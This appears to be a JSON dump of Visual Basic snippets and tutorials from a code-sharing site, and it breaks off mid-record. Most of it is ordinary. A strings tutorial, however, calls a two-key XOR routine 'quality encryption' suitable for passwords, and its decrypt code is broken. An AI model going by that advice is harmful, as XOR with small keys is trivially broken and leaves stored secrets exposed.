Vb but which\nhas been followed conventionally in C++\n\n2)Inheritence\nThe .Net vb Suppts Inheritenc.So Provides way for Code Reuse.\nExample\nclass article\n\tfunction main()\n\ta=100\n\tend function\nclass newarticle\n\tinherits article\n\toverloads function main()\n\ta1=100\n\tend function\n3)Freethreading\nThe new .Net Version has Introduced a Concept called as Free threading.where by\ncomplex Queries ,Calculations can run in a seperate Process and the main program\ncan run normally without strains in seperate thread.\t\n\n"},{"WorldId":1,"id":28309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12323,"LineNumber":1,"line":"The tutorial is the project in the ZIP file.\nHEAVILY commented (Who said that tutorials have to be in HTML?)."},{"WorldId":1,"id":12476,"LineNumber":1,"line":"Function C() As String\n Const Consonants = \"bcdfghijklmnpqrstvwxz\"\n Randomize\n C = Mid(Consonants, Int(Rnd * 21) + 1, 1)\nEnd Function\nFunction V() As String\n Const Vowels = \"aeiouy\"\n Randomize\n V = Mid(Vowels, Int(Rnd * 6) + 1, 1)\nEnd Function\n'Now lets create few random names in the debug window.\n'Write there: print C & V & C & V & C\n'And run this line a few times. Here are the results I got:\n'bapai\n'zymam\n'luler\n'zaio\n'I am sure that you would find to these two functions 1001 uses.\n\n"},{"WorldId":1,"id":21653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13213,"LineNumber":1,"line":"Public Function MoveListItem(LstBox As Object, WhatDir As Integer)\n 'WhatDir = 0 up, 1 down\n 'Returns -1 if nothing is selected\n 'Returns current position otherwise\n Dim CurPos As Integer, CurData As String, NewPos As Integer\n CurPos = LstBox.ListIndex\n If CurPos < 0 Then MoveListItem = -1: Exit Function\n CurData = LstBox.List(CurPos)\n If WhatDir = 0 Then\n 'Move Up\n If (CurPos - 1) < 0 Then NewPos = (LstBox.ListCount - 1) Else NewPos = (CurPos - 1)\n Else\n 'Move Down\n If (CurPos + 1) > (LstBox.ListCount - 1) Then NewPos = 0 Else NewPos = (CurPos + 1)\n End If\n LstBox.RemoveItem (CurPos)\n LstBox.AddItem CurData, NewPos\n LstBox.Selected(NewPos) = True\n MoveListItem = NewPos\nEnd Function"},{"WorldId":1,"id":10729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14757,"LineNumber":1,"line":"report.ReportFileName = gvPath & \"\\cheques.rpt\"\nreport.CopiesToPrinter = InputBox(\"How many copies would you like to print\")\nreport.SelectionFormula = \"{cheques.date} in Date (\" & Format$(Startdatetextbox.Value, \"yyyy,mm,dd\") & \") to Date (\" & Format$(enddatetextbox.Value, \"yyyy,mm,dd\") & \")\"\nreport.ReportTitle = \"Report between\" & \" \" & Format$(Startdatetextbox.Value, \"long date\") & \" \" & \"and\" & \" \" & Format(enddatetextbox.Value, \"long date\")\nreport.Action = 1"},{"WorldId":1,"id":12347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10780,"LineNumber":1,"line":"'Put this in a global module\nPublic Sub FormDrag(TheForm As Form)\n ReleaseCapture\n Call SendMessage(TheForm.hwnd, &HA1, 2, 0&)\nEnd Sub\n'this code has to be in your form\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n FormDrag Me 'move form\n NameOfOtherForm.MoveMe 'notify other form\nEnd Sub\n'this is needed in the second form\nPublic Sub MoveMe()\n If Top > NameOfOtherForm.Top Then\n Top = NameOfOtherForm.Top + NewFrm.Height 'Place below other form\n Left = NameOfOtherForm.Left\n Else\n Top = NameOfOtherForm.Top - Height 'Place above other form\n Left = NameOfOtherForm.Left\n End If\nEnd Sub"},{"WorldId":1,"id":33883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32172,"LineNumber":1,"line":"Public Function AdvRound(InValue As Double, InDecimal As Integer) As Double \n Dim lDblProcess As Double \n \n lDblProcess = InValue * (10 ^ InDecimal) \n AdvRound = Int(lDblProcess + 0.5) / (10 ^ InDecimal) \nEnd Function \n \nPublic Function AdvCeil(InValue As Double, InDecimal As Integer) As Double \n Dim lDblProcess As Double \n \n lDblProcess = InValue * (10 ^ InDecimal) \n If Int(lDblProcess) < lDblProcess Then \n lDblProcess = Int(lDblProcess) + 1 \n Else \n lDblProcess = Int(lDblProcess) \n End If \n AdvCeil = lDblProcess / (10 ^ InDecimal) \nEnd Function \n \nPublic Function AdvFloor(InValue As Double, InDecimal As Integer) As Double \n Dim lDblProcess As Double \n lDblProcess = InValue * (10 ^ InDecimal) \n AdvFloor = Int(lDblProcess) / (10 ^ InDecimal) \nEnd Function "},{"WorldId":1,"id":29379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13987,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23271,"LineNumber":1,"line":"Private Declare Function URLDownloadToFile Lib \"urlmon\" Alias _\n \"URLDownloadToFileA\" (ByVal pCaller As Long, _\n ByVal szURL As String, _\n ByVal szFileName As String, _\n ByVal dwReserved As Long, _\n ByVal lpfnCB As Long) As Long\nPublic Function DownloadFile(URL As String, _\n LocalFilename As String) As Boolean\n Dim lngRetVal As Long\n \n lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)\n \n If lngRetVal = 0 Then DownloadFile = True\n \nEnd Function\nPrivate Sub Form_Load()\n DownloadFile \"http://www.ksnet.co.uk\", \"c:\\KSNET.htm\"\nEnd Sub"},{"WorldId":1,"id":23111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30129,"LineNumber":1,"line":"Sub DropShadow(hwnd As Long)\n SetClassLong hwnd, GCL_STYLE, GetClassLong(hwnd, GCL_STYLE) Or CS_DROPSHADOW\nEnd Sub"},{"WorldId":1,"id":27984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29036,"LineNumber":1,"line":"Function RAnsiColor(lngColor As Long) As Integer\n Select Case lngColor\n Case RGB(255, 255, 255): RAnsiColor = 0\n Case RGB(0, 0, 0): RAnsiColor = 1\n Case RGB(0, 0, 127): RAnsiColor = 2\n Case RGB(0, 127, 0): RAnsiColor = 3\n Case RGB(255, 0, 0): RAnsiColor = 4\n Case RGB(127, 0, 0): RAnsiColor = 5\n Case RGB(127, 0, 127): RAnsiColor = 6\n Case RGB(255, 127, 0): RAnsiColor = 7\n Case RGB(255, 255, 0): RAnsiColor = 8\n Case RGB(0, 255, 0): RAnsiColor = 9\n Case RGB(0, 148, 144): RAnsiColor = 10\n Case RGB(0, 255, 255): RAnsiColor = 11\n Case RGB(0, 0, 255): RAnsiColor = 12\n Case RGB(255, 0, 255): RAnsiColor = 13\n Case RGB(92, 92, 92): RAnsiColor = 14\n Case RGB(184, 184, 184): RAnsiColor = 15\n Case RGB(0, 0, 0): RAnsiColor = 99\n Case lngForeColor: RAnsiColor = 1\n Case lngBackColor: RAnsiColor = 0\n End Select\nEnd Function\nFunction ColorTable() As String\n Dim i As Integer, strTable As String\n Dim r As Integer, b As Integer, g As Integer\n strTable = \"{\\colortbl ;\"\n For i = 0 To 15\n Select Case i\n Case 0: r = 255: g = 255: b = 255\n Case 1: r = 0: g = 0: b = 0\n Case 2: r = 0: g = 0: b = 127\n Case 3: r = 0: g = 127: b = 0\n Case 4: r = 255: g = 0: b = 0\n Case 5: r = 127: g = 0: b = 0\n Case 6: r = 127: g = 0: b = 127\n Case 7: r = 255: g = 127: b = 0\n Case 8: r = 255: g = 255: b = 0\n Case 9: r = 0: g = 255: b = 0\n Case 10: r = 0: g = 148: b = 144\n Case 11: r = 0: g = 255: b = 255\n Case 12: r = 0: g = 0: b = 255\n Case 13: r = 255: g = 0: b = 255\n Case 14: r = 92: g = 92: b = 92\n Case 15: r = 184: g = 184: b = 184\n Case Else: r = 0: g = 0: b = 0\n End Select\n strTable = strTable & \"\\red\" & r & \"\\green\" & g & \"\\blue\" & b & \";\"\n Next i\n strTable = strTable & \"}\"\n ColorTable = strTable\nEnd Function\nSub PutText(rtf As RichTextBox, strData As String)\n \n If strData = \"\" Then Exit Sub\n \n '* Variable decs\n Dim i As Long, Length As Integer, strChar As String, strBuffer As String\n Dim clr As Integer, bclr As Integer, dftclr As Integer, strRTFBuff As String\n Dim bbbold As Boolean, bbunderline As Boolean, bbreverse As Boolean, strTmp As String\n Dim lngFC As String, lngBC As String, lngStart As Long, lngLength As Long, strPlaceHolder As String\n \n '* if not inialized, set font, intialiaze (and also generate color table)\n Dim btCharSet As Long\n Dim strRTF As String\n If rtf.Tag <> \"init'd\" Then\n rtf.Tag = \"init'd\"\n strFontName = rtf.Font.Name\n rtf.parent.FontName = strFontName\n btCharSet = GetTextCharset(rtf.parent.hdc)\n strRTF = \"\"\n strRTF = strRTF & \"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fcharset\" & btCharSet & \" \" & strFontName & \";}}\" & vbCrLf\n strRTF = strRTF & ColorTable & vbCrLf\n strRTF = strRTF & \"\\viewkind4\\uc1\\pard\\cf0\\fi-\" & intIndent & \"\\li\" & intIndent & \"\\f0\\fs\" & CInt(intFontSize * 2) & vbCrLf\n strPlaceHolder = \"\\n\"\n For i = 0 To 15\n strRTF = strRTF & \"\\cf\" & i & \" \" & strPlaceHolder\n Next\n strRTF = strRTF & \"}\"\n rtf.TextRTF = strRTF\n \n '* New session for window... call\n '# LogData rtf.Parent.Caption, \"blah\", strData, True\n Else\n '# LogData rtf.Parent.Caption, \"blah\", strData, False\n End If\n \n '* Generate header information to use (font name, size, etc)\n rtf.parent.FontName = strFontName\n btCharSet = GetTextCharset(rtf.parent.hdc)\n strRTF = \"\"\n strRTF = strRTF & \"{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fcharset\" & btCharSet & \" \" & strFontName & \";}}\" & vbCrLf\n strRTF = strRTF & ColorTable & vbCrLf\n strRTF = strRTF & \"\\viewkind4\\uc1\\pard\\cf0\\fi-\" & intIndent & \"\\li\" & intIndent & \"\\f0\\fs\" & CInt(intFontSize * 2) & vbCrLf\n \n '* Reset all codes from previous lines.\n strRTFBuff = \"\\b0\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1 & \"\\i0\\ulnone \"\n dftclr = RAnsiColor(lngForeColor)\n \n '* Set loop\n Length = Len(strData)\n i = 1\n \n Do\n strChar = Mid(strData, i, 1)\n '* Check the current character\n Select Case strChar\n Case Chr(Cancel) 'cancel code\n ' Reset all previous formatting\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n lngFC = CStr(RAnsiColor(lngForeColor))\n lngBC = CStr(RAnsiColor(lngBackColor))\n strRTFBuff = strRTFBuff & strBuffer & \"\\b0\\ul0\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1\n strBuffer = \"\"\n i = i + 1\n Case strBold\t' bold\n ' Invert the bold flag, append the buffer of previous text, then bold character\n bbbold = Not bbbold\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\b\"\n If bbbold = False Then strRTFBuff = strRTFBuff & \"0\"\n strBuffer = \"\"\n i = i + 1\n Case strUnderline\t' underline\n ' Invert the underline flag, append the buffer of previous text, then under character\n bbunderline = Not bbunderline\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\ul\"\n If bbunderline = False Then strRTFBuff = strRTFBuff & \"none\"\n strBuffer = \"\"\n i = i + 1\n Case strReverse\n ' Invert the reverse flag, append the buffer of previous text, then set forecolor and backcolor to inverse\n bbreverse = Not bbreverse\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \" ' & strBuffer & \"\\\"\n If bbreverse = False Then\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\cf\" & RAnsiColor(lngForeColor) + 1 & \"\\highlight\" & RAnsiColor(lngBackColor) + 1\n Else\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer & \"\\cf\" & RAnsiColor(lngBackColor) + 1 & \"\\highlight\" & RAnsiColor(lngForeColor) + 1\n End If\n \n strBuffer = \"\"\n i = i + 1\n Case strColor\n \n strTmp = \"\"\n i = i + 1\n ' check the characters following the color character to find the color we need to set.\n Do Until Not ValidColorCode(strTmp) Or i > Length\n strTmp = strTmp & Mid(strData, i, 1)\n i = i + 1\n Loop\n \n ' If no color specified (color character alone), reset color, else change forecolor and back color if needed\n strTmp = LeftR(strTmp, 1)\n If strTmp = \"\" Then\n lngFC = CStr(RAnsiColor(lngForeColor))\n lngBC = CStr(RAnsiColor(lngBackColor))\n Else\n lngFC = LeftOf(strTmp, \",\")\n lngFC = CStr(CInt(lngFC))\n If InStr(strTmp, \",\") Then\n lngBC = RightOf(strTmp, \",\")\n If lngBC <> \"\" Then lngBC = CStr(CInt(lngBC)) Else lngBC = CStr(RAnsiColor(lngBackColor))\n Else\n lngBC = \"\"\n End If\n End If\n \n If lngFC = \"\" Then lngFC = CStr(lngForeColor)\n lngFC = Int(lngFC) + 1\n If lngBC <> \"\" Then lngBC = Int(lngBC) + 1\n \n ' This is where we actually change the color. \n ' We append the current buffer of previous text and then change the color\n If Right(strRTFBuff, 1) <> \" \" Then strRTFBuff = strRTFBuff & \" \"\n strRTFBuff = strRTFBuff & strBuffer\n strRTFBuff = strRTFBuff & \"\\cf\" & lngFC\n If lngBC <> \"\" Then strRTFBuff = strRTFBuff & \"\\highlight\" & lngBC\n \n i = i - 1\n strBuffer = \"\"\n If i >= Length Then GoTo TheEnd\n \n Case Else\n ' Not a special code, so just append to the buffer of text\n Select Case strChar\n ' make sure the { } and \\ characters are properly displayed, because RTF uses them for special formatting, so we escape them with \\\n Case \"}\", \"{\", \"\\\"\n strBuffer = strBuffer & \"\\\" & strChar\n Case Else\n strBuffer = strBuffer & strChar\n End Select\n i = i + 1\n End Select\n \n Loop Until i > Length\n \n \nTheEnd:\n ' if any data is left of buffer of previous text, then append it to the RTF buffer\n If strBuffer <> \"\" Then\n strRTFBuff = strRTFBuff & \" \" & strBuffer\n End If\n ' Set the caret to the end of the text and set the \"SelRTF property\".\n \n strRTFBuff = strRTFBuff & vbCrLf\n rtf.selStart = Len(rtf.Text)\n rtf.selLength = 0\n rtf.SelRTF = strRTF & strRTFBuff & vbCrLf & \" }\" & vbCrLf\n rtf.seltext = vbCrLf\n \nEnd Sub\nFunction ValidColorCode(strCode As String) As Boolean\n If strCode = \"\" Then ValidColorCode = True: Exit Function\n Dim c1 As Integer, c2 As Integer\n If strCode Like \"\" Or _\n strCode Like \"#\" Or _\n strCode Like \"##\" Or _\n strCode Like \"#,#\" Or _\n strCode Like \"##,#\" Or _\n strCode Like \"#,##\" Or _\n strCode Like \"#,\" Or _\n strCode Like \"##,\" Or _\n strCode Like \"##,##\" Or _\n strCode Like \",#\" Or _\n strCode Like \",##\" Then\n Dim strCol() As String\n strCol = Split(strCode, \",\")\n '\n If UBound(strCol) = -1 Then\n ValidColorCode = True\n ElseIf UBound(strCol) = 0 Then\n If strCol(0) = \"\" Then strCol(0) = 0\n If Int(strCol(0)) >= 0 And Int(strCol(0)) <= 99 Then\n ValidColorCode = True\n Exit Function\n Else\n ValidColorCode = False\n Exit Function\n End If\n Else\n If strCol(0) = \"\" Then strCol(0) = lngForeColor\n If strCol(1) = \"\" Then strCol(1) = 0\n c1 = Int(strCol(0))\n c2 = Int(strCol(1))\n If Int(c2) < 0 Or Int(c2) > 99 Then\n ValidColorCode = False\n Exit Function\n Else\n ValidColorCode = True\n Exit Function\n End If\n End If\n ValidColorCode = True\n Exit Function\n Else\n ValidColorCode = False\n Exit Function\n End If\nEnd Function\nFunction LeftR(strData As String, intMin As Integer)\n On Error Resume Next\n LeftR = Left(strData, Len(strData) - intMin)\nEnd Function"},{"WorldId":1,"id":30287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24583,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<title>Doing Strings In VB</title>\n</head>\n<body bgcolor=\"#FFFFFF\" link=\"#0000FF\" vlink=\"#800080\">\nDoing Strings In VB Part\n1 \nBy Cyril ‘Razoredge’ Gupta \nMail: <a href=\"mailto:cyril@icnol.com\">cyril@icnol.com</a> \nWarning: The code presented here is not indented properly because\nHTML won't let me put a space or a tab character before the text.\nPlease indent the code if you plan to use the reuse the code in\nyour program.\nStrings are an indispensable\npart of almost all VB software; you will need to use strings in\nalmost all the software you ever make.\nLet’s start with \nWhat is a string and where do you use it? \nIn VB String is a length of text assigned to a variable of type\nVariant or of type String. A string can store a maximum of around\n2 billion characters between ASCII value 32 to 256. Strings mean\na lot to a programmer. They can hold important data, which the\nuser reads, intermediate values, comments, or can be used simply\nto test if the software works correctly. People store text in\nstrings in .INI files, in the windows registry .RES files and\nother text resources. \nStrings in a file \nYou may often need to store and retrieve text from a file.\nHere’s how \nRetrieving text from a file \nVB6 and VB5 introduced the new File object handling system but\nmoldy programmers like me still prefer the old Open Statement.\nHere’s sample code that does that\nDim MyFileText\nAs String ‘Makes a String Variable Called MyFileText \nOpen "MYFILE.TXT" for input as #1 ‘Opens The File\nAnd Names It #1 \nMyFileText = Input$(Lof(1),1) ‘Assigns The Text In The File\nTo MyFileText \nClose #1 ‘Closes The File \n\nOpen\n"MYFILE.TXT" for Input as #1 ‘Opens The File And\nNames It #1 \nThis line does the actual\nopening bit. Myfile.Txt is the name of the file to be opened. You\ncan open a file in many ways for many purposes. I’ve used\nInput Mode here because I just want to read the contents of the\nfile. If you want to write to a file use Output, use\nAppend to add in the end of the file and Random if you have a\nDatabase in the file. Binary Mode can be used to load Bitmap or\nSound Files. #1 is the number of the file. Whenever you want\nto work on the file you will access it using that number.\nMyFileText =\nInput$(Lof(1),1) ‘Assigns The Text In The File To MyFileText \nThis line assigns the\ncontents of the file to MyFileText variable. Input$ Function\nreads data from a file using the file number. \nThe first argument of Input$ is Lof(1).\nThe LOF function retrieves the length of a file in number of\ncharacters. The second argument 1 is the number of file,\nwhich has to be read. So in practice we tell VB to read the\nentire length [LOF(1)] of file number 1 in the variable\nMyFileText.\nClose #1\n‘Closes The File \nThis statement closes the\nfile and frees file number 1. It’s a good practice to close\nthe file immediately after you’ve read the contents in a\nvariable to free resources and avoid problems caused by a file\nthat remains open all the while the software is running. \nProblems with Opening File \nFor most problems VB gives a self evident error message which\ndocuments in detail the problem and allows the error to be\ntrapped and rectified. However there’s a special case which\nforced me to rack my brains for quite a while when I was new to\nprogramming.\nVB won’t recognize and read\na file with a null terminated string in the normal input mode. Now in most editors like\nNotePad etc., no null terminated string is added at the end of\nthe file but in some special cases, specially when the files has\nbeen used for Binary purposes there may be a null terminated\nstring at the end of the file, and the file has to be opened in Binary mode in\nVB, if you try to open it in input mode, there will be some cryptic error.Rectifying this problem is quite easy, just remove the last\ncharacter from the file and it gets opened fine.\nWriting Strings to Files \nTo put your string in a file use Output instead of Input to\nopen the file. To save your string into the file you can either\nuse Write # or Print # in this way.\nWrite\n#FileNumber, TheText \nOr \nPrint\n#FileNumber, TheText\nSearching Stuff in Strings \nYou may often need to search for a word in lengths of text.\nVisual Basic’s Instr function does this great.\nDim WordPos \nWordPos = Instr(1, MyText, MyWord, VbTextCompare)\nHere WordPos holds the position\nof the first character of the word if it is found in the file. \nThe first argument\n‘1’ specifies the character no. from where Instr\nshould start looking. This is useful when you need to do multiple\nsearches or search from the middle of the text. You can also\nleave this option blank if you want to search from the beginning\nof the text.\nThe second argument\n‘MyText’ specifies the name of the string variable\nthat has to be searched. You can also use a string length like\nthis one ("I can use This String Instead Of MyText")\ninstead of the variable.\nThe third argument\n‘MyWord’ is the word or character that has to be\nsearched in MyText. MyWord can also be a string instead of a\nvariable.\nThe fourth argument\n‘VbTextCompare’ decides the mode of the comparison.\nBy default the mode is Binary. Here I am doing a comparison\nbetween two strings, that’s why I have used VbTextCompare\ninstead of the default VbBinaryCompare.\nVbTextCompare is inferior to\nBinary compare in speed. In fact when I ran a test which tried\nfinding the letter ‘A’ in a string comprising of all\nalphabets VbTextCompare took twice the time needed by\nVbBinaryCompare to finish the searches. However I still prefer\nusing VbTextCompare in most cases because VbBinaryCompare thinks\nCapital ‘A’ and small ‘a’ are different\ncharacters and won’t provide a match if the case is\ndifferent in the searched word and original string.\nIf Instr is successful in\nfinding a match it returns the position of the first character in\nthe word. If it is unsuccessful the function returns 0.\nExtracting parts from a\nstring \nYou may often to extract specific portion of a string and use\nthem. VB has three functions for extracting string parts. Left,\nMid & Right.\nVB Pros and Code invigilators\nrecommend using Mid for all types of extraction. It is entirely\npossible to do almost everything with Mid, but they won’t\nhave made Left & Right if they weren’t supposed to be\nused.\nTheText =\nLeft(MyText,NoOfCharacters) \nLeft function retrieves\nspecified number of characters from the left of the specified\nstring for e.g. if you wrote MyText = Left("ABCD",3)<font\nsize=\"2\" face=\"Verdana\"> then left would give you\n"ABC". \nRight returns the specified\nnumber of characters from the rightmost part of the string. \nMid is by far the most versatile, useful function which can serve\nthe function of both Left, Right and also extract text from the\nmiddle of the document.\nMyText =\nMid(TheText,StartPos,LenOfText) \nThe first argument\n‘TheText’ is the name of the string from which the text\nhas to be extracted. \nThe second argument ‘StartPos’ is the character\nposition from which Mid should start taking the text. \nThe third argument ‘LenOfText’ is the no of characters\nthat have to be picked up.\nReplacing Text In Strings \nYou can include this feature in your software using the Left,\nRight, Mid and Instr functions. Let’s see some sample code\nwhich ‘B’ with ‘F’ in a string ABCD in this\nfashion.\nDim TheText as\nString = "ABCD" \nDim WordPos as Integer \nDim MyTextLeft as String \nDim MyTextRight as String\nFirst find the text using Instr \nWordPos =\nInstr(TheText, "B") ‘returns 2\nUse Left to take text before the\nsearched character or word \nMyTextLeft =\nLeft(TheText, WordPos-1)\nUse Right to take text after the\nsearched character \nMyTextRight\n= Right(TheText, len("ABCD")-WordPos) \nOr \nMyTextRight\n=\nMid(TheText,WordPos+len("B"),len(TheText)-WordPos+len("B"))\nPut The Two Strings Together\nwith the replaced character \nTheText =\nMyTextLeft & "F" & MyTextRight\nThe Modus Operandi here is quite\nsimple. We look for the string in the text, take all the text\nthat is prior to the string with the left function, and all the\ntext that is present after the string using the Right or Mid\nfunction. The two strings are then put together with the\nreplacement text or no text if the part of the string has to be\ndeleted.\nReplacing Easily \nIf you were intimidated by the long length and seemingly\ncomplex code, you can do this much more easily if you have VB6.\nThe new Replace function eliminates several lines of code with a\nsingle line. \nFor e.g. if I want to replace all "BBBB" with\n"C" I would use \nReplace("BBBB","B","C")\nHere the first argument is the\noriginal text, Second is the text to be searched and the third is\nthe alternative text. \nYou can also specify the number of found words to be replaced\nusing an extra Count argument, i.e. set count as 1 if you want to\nreplace only the first find and none other or leave it to the\ndefault to replace all finds. \nEncyrpting Strings \nIf you’ve ever though about storing passwords or other\nsensitive data in a file or a string you must have thought\nEncrypting it. Several algorithms of encryption exist in the\nmarket and some of them are very complex. You can make a simple\nalgorithm of your own by replacing the ASCII value of the\ncharacters, however the approach provides a weak form of\nencryption and can be broken very easily. However you can do\nquality encryption very easily using the VB Xor function.\nHere’s a Function Which Encrypts text using the numerical\nkeys provided by the user.\nPublic Function\nXorEncrypt(Byval TheText As String, Byval Key1 As Integer, Byval\nKey2 As Integer) As String \nFor I = 1 to Len(TheText) \nXorEncrypt = XorEncrypt & Asc(Mid(TheText, I, 1)) Xor Key1\nXor Key2 & "." \nNext \nEnd Function\nThis extremely small function\nuses the unique features of Xor to provide good quality\nEncryption. First the ASCII value of the character is Xor’d\nwith Key1 and then the resultant value is Xor’d with Key2\nresulting in a random number that’s very hard to decrypt,\nthe number is delimited by the period sign to distinguish two\ncharacters from each other. Xor performs a bitwise calculation.\nIf you perform a Xor on two numbers and then Xor the resultant\nfigure with any of the two numbers Xor returns the other number.\nPublic Function\nXorDecrypt(Byval TheText As String, Byval Key1 As Integer, Byval\nKey2 As Integer) As String \nDim PeriodPos as Integer \nDo \nPeriodPos = instr(TheText,".") \nIf Not PeriodPos=0 Then \nTheXordNum=Mid(TheText,1,PeriodPos-1) \nXorDecrypt = XorDecrypt & Chr(Xor(Xor(TheXordNum, Key2),\nKey1)) \nTheText = Mid(TheText, PeriodPos+1) \nElse \nExit Do \nEndif \nEnd Function\nThere’s still a lot more to\nstrings, in fact a lot-lot more, we could talk about storing\nStrings in .INI files, strings in registry, strings in Random\nAccess Files, Strings Compiled in .EXEs with resources and a\nwhole lot of other types of strings, but, I guess we won’t\nbe covering all that in this article. If you found this of any\nhelp please drop me a mail and I’ll try to write all the\nother parts as quick as possible.\nSearching for Stuff \nThe most common functionality needed by any user is searching. You can use\nthe 'Instr' statement for performing searched in VB. This is how a typical instr\nlooks.\nSearchPos\n= instr(1,"ABCD","C",vbTextCompare)\nMost of you should already be familiar with the\ninstr statement, so I am not going to explain it here. The thing that needs a\nthough is the last parameter, vbTextCompare. What parameter you pass to this\noption decides how fast your search will be. If you use vbTextCompare, instr\nignore case and search strings in both upper case and lower case, but the speed\nwill be slowed tremendously. If you use vbBinaryCompare, it speeds up the search\nmore than 10 times, but will match case will searching. Personally I recommend\nyou use vbBinaryCompare, if you can, the speed gained is tremendous. \nThanks \nRazoredge \nE-mail: <a href=\"mailto:psl@nde.vsnl.net.in\"><font\nsize=\"2\" face=\"Verdana\">psl@nde.vsnl.net.in</a>\n</body>\n</html>\n"},{"WorldId":1,"id":21027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21436,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13286,"LineNumber":1,"line":"Option Explicit\nPublic Sub enableFrame(curFrame As Frame)\n ' purpose:\n ' set the .enabled property of all controls on a frame to\n ' the same state as the enabled state of the current frame\n Dim ctl As Control\n \n ' Loop through all controls on the current form\n For Each ctl In curFrame.Parent.Controls\n On Error Resume Next ' error checking, because not every control has\n ' a container property\n If ctl.Container.hWnd = 